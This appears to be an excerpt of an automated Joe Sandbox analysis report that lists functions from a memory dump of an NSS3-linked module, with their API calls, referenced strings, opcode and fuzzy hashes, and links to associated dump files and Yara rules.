Part of subcall function 6C7F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7F5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F2D9C

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_EnterMonitor.NSS3(?), ref: 6C7F2DB2
PR_EnterMonitor.NSS3(?), ref: 6C7F2DCF
PR_ExitMonitor.NSS3(?), ref: 6C7F2DF2
PR_ExitMonitor.NSS3(?), ref: 6C7F2E0B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8f820d1a2d8dc663d4c9f3d29f3e48a4fe744ef271d5f32565fc98fd62ea4f26
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: EA01C8B1A402445BE7309E29FD89FC7B7A5EF41318F004835E86986B12D636F41686E3

Function 6C78AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C773090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C78AE42), ref: 6C7730AA
Part of subcall function 6C773090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7730C7
Part of subcall function 6C773090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7730E5
Part of subcall function 6C773090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C773116
Part of subcall function 6C773090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C77312B
Part of subcall function 6C773090: PK11_DestroyObject.NSS3(?,?), ref: 6C773154
Part of subcall function 6C773090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7699FF,?,?,?,?,?,?,?,?,?,6C762D6B,?), ref: 6C78AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7699FF,?,?,?,?,?,?,?,?,?,6C762D6B,?), ref: 6C78AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C762D6B,?,?,00000000), ref: 6C78AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C762D6B,?,?,00000000), ref: 6C78AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C762D6B,?,?), ref: 6C78AEA3

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 085f7ffdaad02198e071fa41095863282fcb0c9a5cf08382aec1dff48d49c17d
Instruction ID: ff6677b4983e6d0d51515ba11741579a7381703407e9e26e67550528b0f962d4
Opcode Fuzzy Hash: 085f7ffdaad02198e071fa41095863282fcb0c9a5cf08382aec1dff48d49c17d
Instruction Fuzzy Hash: A701F46AB0201057E711A12CAF8FAAB315C8B97A6CF080831EA06D7B81FA21D90542F3

Function 6C87BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C877AFE,?,?,?,?,?,?,?,?,6C87798A), ref: 6C87BDC3
free.MOZGLUE(?,?,6C877AFE,?,?,?,?,?,?,?,?,6C87798A), ref: 6C87BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C877AFE,?,?,?,?,?,?,?,?,6C87798A), ref: 6C87BDE9
free.MOZGLUE(?,00000000,00000000,?,6C877AFE,?,?,?,?,?,?,?,?,6C87798A), ref: 6C87BE21
free.MOZGLUE(00000000,00000000,?,6C877AFE,?,?,?,?,?,?,?,?,6C87798A), ref: 6C87BE32

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 7a434646125af655211a89c00df5c7fe999827b428cd0a22b69a4a5d78a0ee16
Instruction ID: 1f3f40f6d06ac0272f8896aa07a7a16d8dd8e6ccad79eac213c9e689a77451fe
Opcode Fuzzy Hash: 7a434646125af655211a89c00df5c7fe999827b428cd0a22b69a4a5d78a0ee16
Instruction Fuzzy Hash: 681133B1B01200DFDF30EF29C90DB063BB5BB0A24CB04247AE50A87391E779A614CBE1

Function 6C877C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C877C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C877C83
malloc.MOZGLUE(00000001), ref: 6C877C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C877C9F
PR_GetCurrentThread.NSS3 ref: 6C877CAD

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 51bd28cb0ca8a354a822ec6819913060299a0141c16fb6d942b009c126b24a5e
Instruction ID: cef9f05d9faa090ad3b278d06bd7d32697f94ea25b6abb940f3a46acf0f0720d
Opcode Fuzzy Hash: 51bd28cb0ca8a354a822ec6819913060299a0141c16fb6d942b009c126b24a5e
Instruction Fuzzy Hash: DBF0C2F19102166FEB209F3A9E0999B77ACEF45265B028835E809C3B00F738E114CBE5

Function 6C87ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C87A6D8), ref: 6C87AE0D
free.MOZGLUE(?), ref: 6C87AE14
DeleteCriticalSection.KERNEL32(6C87A6D8), ref: 6C87AE36
free.MOZGLUE(?), ref: 6C87AE3D
free.MOZGLUE(00000000,00000000,?,?,6C87A6D8), ref: 6C87AE47

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 25c198e7698fe01171107cc897e6412061f8421e8009d44531da157d1e7e7a15
Instruction ID: 31f9d8065550c634680d89a6fcc892bd3a2403bb6278954bb687770df158237d
Opcode Fuzzy Hash: 25c198e7698fe01171107cc897e6412061f8421e8009d44531da157d1e7e7a15
Instruction Fuzzy Hash: EFF096B6201A01A7CA30DF69D80895B7778BF867797140338F52A93942E731E115C7E9

Function 6C707C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C707D35

Strings

%s at line %d of [%.10s], xrefs: 6C707D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C707D13, 6C707D1F, 6C707D47, 6C707D53, 6C707D5F
database corruption, xrefs: 6C707D29

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: bb47a849985d57e9918b020d7a32a38075f29ccfd86ecca32be08b3e59aa1d5e
Instruction ID: 7ab8897a7e776cf37f5dd79137f7f98fa45d7508cd9cb1928bf37e585282fdfb
Opcode Fuzzy Hash: bb47a849985d57e9918b020d7a32a38075f29ccfd86ecca32be08b3e59aa1d5e
Instruction Fuzzy Hash: ED3168B1F0422997C720CF9DC9819BEB7F1EF44704B5905A6E444B7B85D271E852D7A0

Function 6C6F6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C6F6D36

Strings

%s at line %d of [%.10s], xrefs: 6C6F6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F6D20
database corruption, xrefs: 6C6F6D2A

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c8d7582fc37e00bddf223af36cd093728f3f281e229e8fcfbcead61001f3a688
Instruction ID: 35b81d30577d67b157294a5e1862ff70c9ca35b41328508b227ab270354546ec
Opcode Fuzzy Hash: c8d7582fc37e00bddf223af36cd093728f3f281e229e8fcfbcead61001f3a688
Instruction Fuzzy Hash: FD2124306043049BC320CF19C941B9AB7F3AF85308F14892DD8699BF51E371F94687AA

Function 6C82CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C82CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C82CC7B), ref: 6C82CD7A
Part of subcall function 6C82CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C82CD8E
Part of subcall function 6C82CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C82CDA5
Part of subcall function 6C82CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C82CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C82CCB5
memcpy.VCRUNTIME140(6C8C14F4,6C8C02AC,00000090), ref: 6C82CCD3
memcpy.VCRUNTIME140(6C8C1588,6C8C02AC,00000090), ref: 6C82CD2B

Part of subcall function 6C749AC0: socket.WSOCK32(?,00000017,6C7499BE), ref: 6C749AE6
Part of subcall function 6C749AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7499BE), ref: 6C749AFC

Part of subcall function 6C750590: closesocket.WSOCK32(6C749A8F,?,?,6C749A8F,00000000), ref: 6C750597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C82CCB0

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: dd8b4de77dde85b855166478ec3b72ffe05d4cdad976279caf91c00a47e6e02c
Instruction ID: afe95a54c694dacf82e9ad3056a96cfd3fb7a17adf003949d5c1598875138392
Opcode Fuzzy Hash: dd8b4de77dde85b855166478ec3b72ffe05d4cdad976279caf91c00a47e6e02c
Instruction Fuzzy Hash: 2A1175F1B002409EEB309F59CB8AB563BA8934631CF501839E4058BB41F775C518CBE2

Function 6C7D1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7D1D8F

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7D1DA6

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C7D1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7D1ED0

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: c6a7b84f3d8a421191bad2bba8628dd19073be7d8d2fe5d5f1cb02c4a7865787
Instruction ID: dce095939cae5f9d866f21385287fccb71b76fb8bd1c75d99ec84831958f3935
Opcode Fuzzy Hash: c6a7b84f3d8a421191bad2bba8628dd19073be7d8d2fe5d5f1cb02c4a7865787
Instruction Fuzzy Hash: BD517A75A0030ACFDB10CF98C988BAEB7BABF49329F154129E8199F751D731E945CB81

Function 6C837DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C837E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C837EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C837EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C837ED8

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: be3814ba51d9cd3e0b49d0be30a4b64c0129b0b4b29a2d12f3593eb1288c79bb
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 5B31C2B2A00225CFDB14CF09CA9089EBBA2BF8831871A8579C80C5B751EB71EC45CBD1

Function 6C766C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C766C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C766CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C766CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C888FE0), ref: 6C766CFE

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ab07fb0c2e1d1d7e94766ac2937d978190d8f78b4e444f470286a1b66438f219
Instruction ID: 8e17dba272c0da22aaf2a7bf51379676f20dd0553c4db02936950f70cd4ce744
Opcode Fuzzy Hash: ab07fb0c2e1d1d7e94766ac2937d978190d8f78b4e444f470286a1b66438f219
Instruction Fuzzy Hash: DD319EB5A002169FDB04CF66C995ABFBBF5EF85348B10443DD905E7B40EB31A905CBA0

Function 6C7D6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C7D6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7D6E57

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C7D6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C7D6EAA

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 3b5edb0ded24910908f518f40a595da4970afb13bb01aef96c766a45ce07c419
Instruction ID: 540d88ed05e78833800187ff2f75c9fd9ab24de4494dcfb7370c66e0dd27758d
Opcode Fuzzy Hash: 3b5edb0ded24910908f518f40a595da4970afb13bb01aef96c766a45ce07c419
Instruction Fuzzy Hash: 60319171610513EFDB145F34DE08396B7A8BB0131AF160E3DD499D6A85EB317694CF81

Function 6C7BDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C7BDDB1,?,00000000), ref: 6C7BDDF4

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C7BDDB1,?,00000000), ref: 6C7BDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C7BDDB1,?,00000000), ref: 6C7BDE17

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C7BDE80

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 8845a2149d159fbb43a5c72070c9975f274bbe4934a9695ab19ffd8586297c58
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
